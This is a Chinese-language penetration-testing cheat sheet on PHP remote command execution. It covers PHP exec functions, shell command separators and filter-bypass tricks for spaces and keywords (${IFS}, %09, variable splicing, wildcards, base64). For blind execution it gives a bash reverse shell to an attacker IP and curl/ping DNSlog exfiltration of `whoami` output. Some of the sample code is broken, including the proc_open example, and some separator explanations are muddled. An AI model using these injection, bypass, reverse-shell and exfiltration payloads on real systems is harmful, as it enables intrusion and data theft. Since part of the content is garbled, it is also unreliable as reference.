RCE(命令执行)
1.1、简介
1.1.1、原理
通过命令连接符将恶意命令拼接到正常函数中,从而执行系统命令。
1.1.2、命令执行函数
1、system
<?php system('whoami');?>
2、exec
<?php exec('whoami');?>
3、shell_exec
<?php echo shell_exec('whoami');?>
4、passthru
<?php passthru('whoami');?>
5、popen
<?php popen('touch test.txt',"r");?>
6、proc_open
<?php
$proc=proc_open("whoami",
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),$pipe;
print stream_get_contentss($pipes[1]);
?>
7、反引号
<?php echo `whoami`;?>
1.1.3、连接符
Windows
1、&
&前面为假,则直接执行&后面的语句。
&前面为真,则&前后都执行。
2、&&
&&前面的语句为假,则直接报错,&&后面的语句也不执行。
&&前面的语句为真,则&&前面的语句都执行。
3、|
|前面的语句为假,则直接报错,|后面的语句也不执行。
||前面的语句为真,则执行|后面的语句。
4、||
||前面的语句为假,则执行||后面的语句。
||前面的语句为真,则只执行||前面的语句,不执行||后面的语句。
Linux
1、;(Linux特有)
;使多个命令顺序执行,前面的命令和后面的命令都会执行。
┌──(root㉿popoy)-[/]
└─# id;id
uid=0(root) gid=0(root) 组=0(root)
uid=0(root) gid=0(root) 组=0(root)
2、&
&的前面命令都执行。
3、&&
&的前面命令都执行。
4、|
|的前面的命令输出作为后面的命令输入,前面的命令和后面的命令都会执行,但是只显示后面的命令的执行结果。
5、||
||前面的命令执行成功,前面的命令执行成功,后面的命令就不会执行;若前面的命令执行失败,则会执行后面的命令。
1.2、绕过
1.2.1、空格绕过
1、${IFS}绕过
[root@wang /]# cat${IFS}nginx.conf
2、$IFS$9
[root@wang /]# cat$IFS$9nginx.conf
3、制表符(TAB)
%09是制表符的URL编码,可以用%09来代替空格,绕过空格过滤。
http://xxxx/?ip=127.0.0.1;cat%09nginx.conf
4、{}绕过
[root@wang /]# {cat,nginx.conf}
5、<绕过
[root@wang /]# cat<nginx.conf
1.2.2、关键词绕过
1、变量绕过
[root@wang /]# a=c;b=at;$a$b nginx.conf
2、空变量绕过
[root@wang /]# cat${x} nginx.conf
3、系统变量绕过
${SHELLOPTS}是系统变量,可以利用系统变量的字符串拼接绕过过滤。
[root@wang /]# echo ${SHELLOPTS}
braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor
[root@wang /]# echo ${SHELLOPTS:3:1}
c
[root@wang /]# ${SHELLOPTS:3:1}at nginx.conf
4、\绕过
[root@wang /]# c\a\t nginx.conf
5、通配符绕过
*代表0到多个任意字符。
?表示一个字符。
[]内为字符范围,代表该字符范围中的任一一个字符。
[root@wang /]# cat ?gin?.conf
7、base64
[root@wang /]# `echo "aWQ="|base64 -d`
uid=0(root) gid=0(root) 组=0(root)
#base64 -d对命令进行解码。
8、expr和awk绕过
#通过expr和awk命令从其他文件中获取字符并进行命令构造。
#expr:字符串截取。
[root@wang /]# expr substr "this is a test" 3 5
is is
1.2.3、无回显绕过
1、反弹shell绕过
攻击主机:
┌──(root㉿popoy)-[~]
└─# nc -lvp 9999
目标主机:
[root@wang /]# bash -i >& /dev/tcp/192.168.41.133/9999 0>&1
#IP地址转换为十进制或16进制,然后可以使用通配符替换关键字。
[root@wang /]# bash -i >& /dev/tcp/3232246149/9999 0>&1
2、DNSlog
curl 2iz2m2.dnslog.cn/`whoami`
ping `whoami`.2iz2m2.dnslog.cn